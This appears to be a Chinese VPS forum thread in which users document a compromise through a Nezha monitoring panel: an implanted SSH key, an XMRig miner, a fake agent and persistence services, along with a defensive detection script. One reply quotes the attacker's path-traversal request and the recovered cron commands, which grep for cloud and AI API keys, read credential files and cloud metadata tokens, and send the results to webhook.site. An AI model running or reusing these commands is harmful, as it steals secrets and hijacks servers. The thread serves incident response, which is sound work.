哪吒面板服务器被入侵植入的内容，欢迎补充

Blush 2026-06-16 14:29 1

今天一大早就收到了阿里云的服务器被植入了挖矿的病毒，排查了一下，是之前哪吒面板漏洞导致的入侵，也怪自己没更新到最新的版本，一直停留在旧版本

VPS 被入侵挖矿事件记录：SSH 后门、公钥植入、哪吒伪装 Agent、SystemLoger 守护服务



SSH 后门公钥

+ XMRig 挖矿程序

+ systemd 自启动

+ SystemLoger 守护服务

+ 伪装哪吒 Agent

+ 疑似 memfd 内存马 / kworker 伪装进程

已发现的植入物

1. SSH 后门公钥

在 /root/.ssh/authorized_keys 中发现陌生 SSH 公钥：

ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMMDxNliLAR1lLp5koxMHQtdCN0cNrV9HQbtzaDfNu8J gary@gary

2. XMRig / c3pool 挖矿程序

发现进程：

/root/c3pool/xmrig --config=/root/c3pool/config.json



/root/c3pool/xmrig

/root/c3pool/config.json

/root/c3pool/config_background.json

/root/c3pool/xmrig.log

/root/c3pool/miner.sh



矿池连接：

auto.c3pool.org:80



自启动服务：

/etc/systemd/system/c3pool_miner.service

/etc/systemd/system/multi-user.target.wants/c3pool_miner.service

3. SystemLoger 守护服务

发现 systemd 服务：

/etc/systemd/system/systemlog.service

/etc/systemd/system/multi-user.target.wants/systemlog.service

服务内容指向：

ExecStart=/opt/systemlog/SystemLoger

StandardOutput=append:/tmp/SystemLog.log

StandardError=append:/tmp/SystemLog.log

相关路径：

/opt/systemlog/SystemLoger

/tmp/SystemLog.log

影响：

疑似守护/复活组件。

可能用于维持恶意进程、重新拉起后门或内存马。

4. 恶意哪吒 Agent 配置

恶意配置文件：

/opt/nezha/agent/config-nxxcp.yml

指向：207.58.173.192:8088

运行进程：

/opt/nezha/agent/nezha-agent -c /opt/nezha/agent/config-nxxcp.yml

5. memfd 内存马 / kworker 伪装

memfd 内存马

伪装 kworker

连接 24.x.x.x

最新回复 (20)

Camellia01 06-16 14:32

1楼

母鸡啊，昨天VPS守护脚本通知我有陌生IP登录，正好DO学生优惠鸡马上结束了，我直接给DO🐔删了 ^-^

昨天还在疑惑我一个小小的探针鸡，为什么会被人扫呢，感谢大佬解惑了
sjxk 06-16 14:33

2楼

啊，还这样子啊。
astom 06-16 14:36

3楼

大佬，安装时不开ssh权限会有被黑的风险吗？
重启 06-16 14:37

4楼

^-^ 黑客：攻不破你的SSH我还不能另辟蹊径吗。所以这次这事情给了广大网友一个提醒，探针就只能是个探针，不要给过多权限
Blush 楼主 06-16 14:37

5楼

@astom #3

不开启ssh就不会了，用密钥登录 ^-^
hwei 06-16 14:42

6楼

升到最新版本
move132 06-16 14:59

7楼

补充一个会在哪吒面板端定时任务中挂 .ssh 创建 /root/.ssh/authorized_keys 脚本
soloxyq 06-16 15:04

8楼

哪个版本会有问题? 我好像是去年的版本, 一直没关注
mmys0301 06-16 15:21

9楼

是这个IP吧
treasureu 06-16 15:23

10楼

我的也是一样的@mmys0301 #9
mmys0301 06-16 15:24

11楼

1
Henry-6688 06-16 15:37

12楼

哪吒面板端定时任务记得看
mmys0301 06-16 15:38

13楼

kworker 伪装如何搞掉啊？

move132 06-16 15:40

14楼

@mmys0301 #13

echo "========================================="

echo " 开始排查 memfd 内存马与 kworker 伪装 "

echo "========================================="



for pid in $(ls -d /proc/[0-9]* 2>/dev/null | sed 's|/proc/||'); do

    # 获取进程信息

    exe=$(readlink /proc/$pid/exe 2>/dev/null)

    comm=$(cat /proc/$pid/comm 2>/dev/null)

    ppid=$(awk '{print $4}' /proc/$pid/stat 2>/dev/null)

    cmdline=$(cat /proc/$pid/cmdline 2>/dev/null | tr '\0' ' ')



    # 1. 查杀 memfd 内存马

    if [[ "$exe" == *"/memfd:"* ]]; then

        echo "[!!!] 发现 memfd 内存马!"

        echo "  -> PID: $pid | 父进程: $ppid | 进程名: $comm"

        echo "  -> 内存路径: $exe"

        echo "  -> 启动命令: $cmdline"

        echo "-----------------------------------------"

    fi



    # 2. 查杀 kworker / 内核线程伪装

    # 特征：进程名以 k 开头（像内核线程），但有用户态 exe，且父进程不是 kthreadd(2)

    if [[ "$comm" == k* ]] && [[ -n "$exe" ]] && [[ "$ppid" != "2" ]]; then

        # 排除一些确实以 k 开头的正常用户态服务（如 kdump, kworker 等，但 kworker 的 exe 应该为空）

        if [[ "$exe" != *"/usr/lib/systemd/"* ]] && [[ "$comm" != "kdump"* ]]; then

            echo "[!!!] 发现疑似伪装的内核线程!"

            echo "  -> PID: $pid | 伪装的进程名: $comm | 真实父进程: $ppid"

            echo "  -> 真实的可执行文件路径: $exe"

            echo "  -> 启动命令: $cmdline"

            echo "-----------------------------------------"

        fi

    fi

    

    # 3. 查杀被删除的隐藏文件执行 (deleted)

    if [[ "$exe" == *"(deleted)"* ]] && [[ "$exe" != *"/usr/"* ]] && [[ "$exe" != *"/bin/"* ]] && [[ "$exe" != *"/sbin/"* ]]; then

        echo "[!!!] 发现执行已删除文件的可疑进程!"

        echo "  -> PID: $pid | 进程名: $comm"

        echo "  -> 路径: $exe"

        echo "-----------------------------------------"

    fi

done



echo "========================================="

echo " 排查结束。如果没有输出 [!!!]，说明未发现此类高级后门。"

echo "========================================="

bncfbb 06-16 16:47

15楼

14号晚上中招了，当时发现所有服务器cpu100%，查看top发现一堆grep命令吃满cpu，攻击者ip是23.249.17.75，是rfc的服务器。攻击者的目的只是扫描云厂商和AI凭据，没被挂马

nginx日志：

[14/Jun/2026:18:28:09 +0800] - 200 200 - GET https nezha.xxx.cn "/dashboard../data/config.yaml" [Client 23.249.17.75] [Length 1418] [Gzip -] [Sent-to 127.0.0.1] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" "-"

[14/Jun/2026:18:55:29 +0800] - 200 200 - GET https nezha.xxx.cn "/dashboard../data/config.yaml" [Client 23.249.17.75] [Length 1418] [Gzip -] [Sent-to 127.0.0.1] "python-requests/2.34.2" "-"

[14/Jun/2026:19:03:59 +0800] - 200 200 - GET https nezha.xxx.cn "/dashboard../data/config.yaml" [Client 23.249.17.75] [Length 1418] [Gzip -] [Sent-to 127.0.0.1] "python-requests/2.34.2" "-"

[14/Jun/2026:19:31:36 +0800] - 200 200 - GET https nezha.xxx.cn "/api/v1/profile" [Client 23.249.17.75] [Length 293] [Gzip -] [Sent-to 127.0.0.1] "python-requests/2.34.2" "-"

[14/Jun/2026:19:34:44 +0800] - - 301 - GET http nezha.xxx.cn "/" [Client 185.242.177.65] [Length 166] [Gzip -] [Sent-to 127.0.0.1] "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:147.0) Gecko/20100101 Firefox/147.0" "-"

[14/Jun/2026:19:34:45 +0800] - 200 200 - GET https nezha.xxx.cn "/" [Client 185.242.177.65] [Length 2422] [Gzip 3.40] [Sent-to 127.0.0.1] "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:147.0) Gecko/20100101 Firefox/147.0" "-"

[14/Jun/2026:19:34:46 +0800] - 200 200 - GET https nezha.xxx.cn "/" [Client 185.242.177.63] [Length 2422] [Gzip 3.40] [Sent-to 127.0.0.1] "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:147.0) Gecko/20100101 Firefox/147.0" "-"

[14/Jun/2026:20:13:48 +0800] - 200 200 - GET https nezha.xxx.cn "/api/v1/server" [Client 23.249.17.75] [Length 9302] [Gzip -] [Sent-to 127.0.0.1] "python-requests/2.34.2" "-"

[14/Jun/2026:20:25:31 +0800] - 200 200 - GET https nezha.xxx.cn "/api/v1/server" [Client 23.249.17.75] [Length 9293] [Gzip -] [Sent-to 127.0.0.1] "python-requests/2.34.2" "-"

[14/Jun/2026:20:27:34 +0800] - 200 200 - POST https nezha.xxx.cn "/api/v1/notification" [Client 23.249.17.75] [Length 25] [Gzip -] [Sent-to 127.0.0.1] "python-requests/2.34.2" "-"

[14/Jun/2026:20:27:35 +0800] - 200 200 - POST https nezha.xxx.cn "/api/v1/notification-group" [Client 23.249.17.75] [Length 25] [Gzip -] [Sent-to 127.0.0.1] "python-requests/2.34.2" "-"

[14/Jun/2026:20:27:35 +0800] - 200 200 - POST https nezha.xxx.cn "/api/v1/cron" [Client 23.249.17.75] [Length 25] [Gzip -] [Sent-to 127.0.0.1] "python-requests/2.34.2" "-"

[14/Jun/2026:20:27:35 +0800] - 200 200 - GET https nezha.xxx.cn "/api/v1/cron/1/manual" [Client 23.249.17.75] [Length 16] [Gzip -] [Sent-to 127.0.0.1] "python-requests/2.34.2" "-"

[14/Jun/2026:20:42:37 +0800] - 200 200 - POST https nezha.xxx.cn "/api/v1/notification" [Client 23.249.17.75] [Length 25] [Gzip -] [Sent-to 127.0.0.1] "python-requests/2.34.2" "-"

[14/Jun/2026:20:42:37 +0800] - 200 200 - POST https nezha.xxx.cn "/api/v1/notification-group" [Client 23.249.17.75] [Length 25] [Gzip -] [Sent-to 127.0.0.1] "python-requests/2.34.2" "-"

[14/Jun/2026:20:42:38 +0800] - 200 200 - POST https nezha.xxx.cn "/api/v1/cron" [Client 23.249.17.75] [Length 25] [Gzip -] [Sent-to 127.0.0.1] "python-requests/2.34.2" "-"

[14/Jun/2026:20:42:38 +0800] - 200 200 - GET https nezha.xxx.cn "/api/v1/cron/2/manual" [Client 23.249.17.75] [Length 16] [Gzip -] [Sent-to 127.0.0.1] "python-requests/2.34.2" "-"

[14/Jun/2026:20:42:38 +0800] - 200 200 - POST https nezha.xxx.cn "/api/v1/cron" [Client 23.249.17.75] [Length 25] [Gzip -] [Sent-to 127.0.0.1] "python-requests/2.34.2" "-"

[14/Jun/2026:20:42:38 +0800] - 200 200 - GET https nezha.xxx.cn "/api/v1/cron/3/manual" [Client 23.249.17.75] [Length 16] [Gzip -] [Sent-to 127.0.0.1] "python-requests/2.34.2" "-"

[14/Jun/2026:20:42:39 +0800] - 200 200 - POST https nezha.xxx.cn "/api/v1/cron" [Client 23.249.17.75] [Length 25] [Gzip -] [Sent-to 127.0.0.1] "python-requests/2.34.2" "-"

[14/Jun/2026:20:42:39 +0800] - 200 200 - GET https nezha.xxx.cn "/api/v1/cron/4/manual" [Client 23.249.17.75] [Length 16] [Gzip -] [Sent-to 127.0.0.1] "python-requests/2.34.2" "-"

[14/Jun/2026:20:42:39 +0800] - 200 200 - POST https nezha.xxx.cn "/api/v1/cron" [Client 23.249.17.75] [Length 25] [Gzip -] [Sent-to 127.0.0.1] "python-requests/2.34.2" "-"

[14/Jun/2026:20:42:39 +0800] - 200 200 - GET https nezha.xxx.cn "/api/v1/cron/5/manual" [Client 23.249.17.75] [Length 16] [Gzip -] [Sent-to 127.0.0.1] "python-requests/2.34.2" "-"

[14/Jun/2026:20:42:40 +0800] - 200 200 - POST https nezha.xxx.cn "/api/v1/cron" [Client 23.249.17.75] [Length 25] [Gzip -] [Sent-to 127.0.0.1] "python-requests/2.34.2" "-"

[14/Jun/2026:20:42:40 +0800] - 200 200 - GET https nezha.xxx.cn "/api/v1/cron/6/manual" [Client 23.249.17.75] [Length 16] [Gzip -] [Sent-to 127.0.0.1] "python-requests/2.34.2" "-"

[14/Jun/2026:20:42:40 +0800] - 200 200 - POST https nezha.xxx.cn "/api/v1/cron" [Client 23.249.17.75] [Length 25] [Gzip -] [Sent-to 127.0.0.1] "python-requests/2.34.2" "-"

[14/Jun/2026:20:42:40 +0800] - 200 200 - GET https nezha.xxx.cn "/api/v1/cron/7/manual" [Client 23.249.17.75] [Length 16] [Gzip -] [Sent-to 127.0.0.1] "python-requests/2.34.2" "-"

[14/Jun/2026:20:42:40 +0800] - 200 200 - POST https nezha.xxx.cn "/api/v1/cron" [Client 23.249.17.75] [Length 25] [Gzip -] [Sent-to 127.0.0.1] "python-requests/2.34.2" "-"

[14/Jun/2026:20:42:41 +0800] - 200 200 - GET https nezha.xxx.cn "/api/v1/cron/8/manual" [Client 23.249.17.75] [Length 16] [Gzip -] [Sent-to 127.0.0.1] "python-requests/2.34.2" "-"

[14/Jun/2026:20:42:41 +0800] - 200 200 - POST https nezha.xxx.cn "/api/v1/cron" [Client 23.249.17.75] [Length 25] [Gzip -] [Sent-to 127.0.0.1] "python-requests/2.34.2" "-"

[14/Jun/2026:20:42:41 +0800] - 200 200 - GET https nezha.xxx.cn "/api/v1/cron/9/manual" [Client 23.249.17.75] [Length 16] [Gzip -] [Sent-to 127.0.0.1] "python-requests/2.34.2" "-"

[14/Jun/2026:20:42:41 +0800] - 200 200 - POST https nezha.xxx.cn "/api/v1/cron" [Client 23.249.17.75] [Length 26] [Gzip -] [Sent-to 127.0.0.1] "python-requests/2.34.2" "-"

[14/Jun/2026:20:42:42 +0800] - 200 200 - GET https nezha.xxx.cn "/api/v1/cron/10/manual" [Client 23.249.17.75] [Length 16] [Gzip -] [Sent-to 127.0.0.1] "python-requests/2.34.2" "-"

[14/Jun/2026:20:42:42 +0800] - 200 200 - POST https nezha.xxx.cn "/api/v1/cron" [Client 23.249.17.75] [Length 26] [Gzip -] [Sent-to 127.0.0.1] "python-requests/2.34.2" "-"

[14/Jun/2026:20:42:42 +0800] - 200 200 - GET https nezha.xxx.cn "/api/v1/cron/11/manual" [Client 23.249.17.75] [Length 16] [Gzip -] [Sent-to 127.0.0.1] "python-requests/2.34.2" "-"

[14/Jun/2026:20:42:43 +0800] - 200 200 - POST https nezha.xxx.cn "/api/v1/cron" [Client 23.249.17.75] [Length 26] [Gzip -] [Sent-to 127.0.0.1] "python-requests/2.34.2" "-"

[14/Jun/2026:20:42:43 +0800] - 200 200 - GET https nezha.xxx.cn "/api/v1/cron/12/manual" [Client 23.249.17.75] [Length 16] [Gzip -] [Sent-to 127.0.0.1] "python-requests/2.34.2" "-"

[14/Jun/2026:20:42:44 +0800] - 200 200 - POST https nezha.xxx.cn "/api/v1/cron" [Client 23.249.17.75] [Length 26] [Gzip -] [Sent-to 127.0.0.1] "python-requests/2.34.2" "-"

[14/Jun/2026:20:42:44 +0800] - 200 200 - GET https nezha.xxx.cn "/api/v1/cron/13/manual" [Client 23.249.17.75] [Length 16] [Gzip -] [Sent-to 127.0.0.1] "python-requests/2.34.2" "-"

哪吒主控端数据库：

crons表：

rowid	id	created_at	updated_at	name	task_type	scheduler	command	push_successful	notification_group_id	last_executed_at	last_result	cover	servers_raw	user_id

1	1	2026-06-14 20:27:35.181	2026-06-14 21:08:18.960	z	0	* * * * * *	[INVALID_DATA]	1	1	2026-06-14 21:08:18.960	0	1	[]	1

2	2	2026-06-14 20:42:38.088	2026-06-14 21:08:17.506	g0	0	* * * * * *	grep -r AKIA /root /home /opt /etc /app /var /data /tmp /usr 2>/dev/null|head -10	1	2	2026-06-14 21:08:17.506	1	1	[]	1

3	3	2026-06-14 20:42:38.886	2026-06-14 21:08:19.695	g1	0	* * * * * *	grep -r sk-ant-api /root /home /opt /etc /app /var /data /tmp 2>/dev/null|head -10	1	2	2026-06-14 21:08:19.695	1	1	[]	1

4	4	2026-06-14 20:42:39.077	2026-06-14 21:08:15.942	g2	0	* * * * * *	grep -r AIzaSy /root /home /opt /etc /app /var /data /tmp 2>/dev/null|head -10	1	2	2026-06-14 21:08:15.942	1	1	[]	1

5	5	2026-06-14 20:42:39.560	2026-06-14 21:08:12.951	g3	0	* * * * * *	grep -r 'sk-proj-' /root /home /opt /etc /app /var /data 2>/dev/null|head -10	1	2	2026-06-14 21:08:12.951	1	1	[]	1

6	6	2026-06-14 20:42:40.173	2026-06-14 21:08:12.236	g4	0	* * * * * *	grep -r ABSK /root /home /opt /etc /app /var /data /tmp 2>/dev/null|head -10	1	2	2026-06-14 21:08:12.235	1	1	[]	1

7	7	2026-06-14 20:42:40.361	2026-06-14 21:08:20.441	g5	0	* * * * * *	grep -r github_pat /root /home /opt /etc /app /var /data 2>/dev/null|head -10	1	2	2026-06-14 21:08:20.441	1	1	[]	1

8	8	2026-06-14 20:42:40.986	2026-06-14 21:08:10.752	g6	0	* * * * * *	grep -r 'ASIA' /root /home /opt /etc /app /var /data 2>/dev/null|grep 'ASIA[A-Z0-9]\{16\}'|head -10	1	2	2026-06-14 21:08:10.751	1	1	[]	1

9	9	2026-06-14 20:42:41.470	2026-06-14 21:08:13.702	g7	0	* * * * * *	grep -r 'service_account' /root /home /opt /etc /app /var /data 2>/dev/null|head -10	1	2	2026-06-14 21:08:13.702	1	1	[]	1

10	10	2026-06-14 20:42:41.654	2026-06-14 21:08:21.209	g8	0	* * * * * *	grep -r 'client_email' /root /home /opt /etc /app /var /data 2>/dev/null|head -10	1	2	2026-06-14 21:08:21.209	1	1	[]	1

11	11	2026-06-14 20:42:42.892	2026-06-14 21:08:18.230	g9	0	* * * * * *	grep -r 'private_key' /root /home /opt /etc /app /var /data 2>/dev/null|grep BEGIN|head -10	1	2	2026-06-14 21:08:18.229	1	1	[]	1

12	12	2026-06-14 20:42:43.818	2026-06-14 21:08:14.419	g10	0	* * * * * *	grep -r AWS_SECRET /root /home /opt /etc /app /var /data 2>/dev/null|head -10	1	2	2026-06-14 21:08:14.419	1	1	[]	1

13	13	2026-06-14 20:42:44.120	2026-06-14 21:08:21.968	g11	0	* * * * * *	grep -r sk-or-v1 /root /home /opt /etc /app /var /data /tmp 2>/dev/null|head -10	1	2	2026-06-14 21:08:21.968	1	1	[]	1



row id 1的command： hostname;env|grep -iE 'AKIA|AWS_ACCESS|AWS_SECRET|AWS_SESSION|GOOGLE_APPLICATION|GCP|sk-ant|sk-proj|ANTHROPIC|OPENAI|BEDROCK|CREDENTIAL|TOKEN|SECRET|KEY'|head -50;curl -s --connect-timeout 3 http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null;curl -s --connect-timeout 3 http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token -H 'Metadata-Flavor:Google' 2>/dev/null;cat /root/.aws/credentials 2>/dev/null;cat /root/.config/gcloud/application_default_credentials.json 2>/dev/null|head -20;cat /proc/1/environ 2>/dev/null|tr '

notifications表：

rowid	id	created_at	updated_at	name	url	request_method	request_type	request_header	request_body	verify_tls	user_id	format_metric_units

1	1	2026-06-14 20:27:34.988	2026-06-14 20:27:34.988	z	https://webhook.site/b6674151-0ed8-4710-9d98-1f919df70fca	2	1		#NEZHA#	0	1	0

2	2	2026-06-14 20:42:37.694	2026-06-14 20:42:37.694	z	https://webhook.site/871b4f5d-95a1-4984-bbbe-68657e4b7889	2	1		#NEZHA#	0	1	0

notifications_groups表：

rowid	id	created_at	updated_at	name	user_id

1	1	2026-06-14 20:27:35.087	2026-06-14 20:27:35.087	z	1

2	2	2026-06-14 20:42:37.989	2026-06-14 20:42:37.989	z	1

notifications_group_notificat表：

rowid	id	created_at	updated_at	notification_group_id	notification_id	user_id

1	1	2026-06-14 20:27:35.087	2026-06-14 20:27:35.087	1	1	1

2	2	2026-06-14 20:42:37.989	2026-06-14 20:42:37.989	2	2	1

soshow 06-16 17:08

16楼

我操我的当成肉鸡了，疯狂外面发包一样
大闸泄 06-16 17:12

17楼

哪吒版本号多少？
Marco919 06-16 18:38

18楼

还有进来另外给我插个针得目前有两台鸡鸡都发现了
Dogelee2 06-16 18:42

19楼

https://www.nodeseek.com/post-233028-1

我很久之前写的
siesta 06-16 18:43

20楼

@Blush #0 这ip还用给他打码吗

* 帖子来源NodeSeek

附近帖子

↑VMISS 的200M小水管还跑不满
↑哪吒探针具体是怎么被黑的？有没有什么自检方法
↑哪吒探针有10几台vps全被黑
↑有没有日常在用Plasma 卡的，一般alipay退款需要多才才能返还到Plasma账户呢
↑Cursor订阅自动扣款
📍 哪吒面板服务器被入侵植入的内容，欢迎补充
↓gpt pro20x codex额度拼车
↓找到了哪吒面板漏洞！！！
↓德国o2实体sim发货了，怎么办
↓收GFF 里面有余额的最好卖的代价来今天能发最好走海鲜
↓fiat24关门了，求推荐u卡

飞读

Blush

主题数
1

帖子数
1

注册排名
3

随机推荐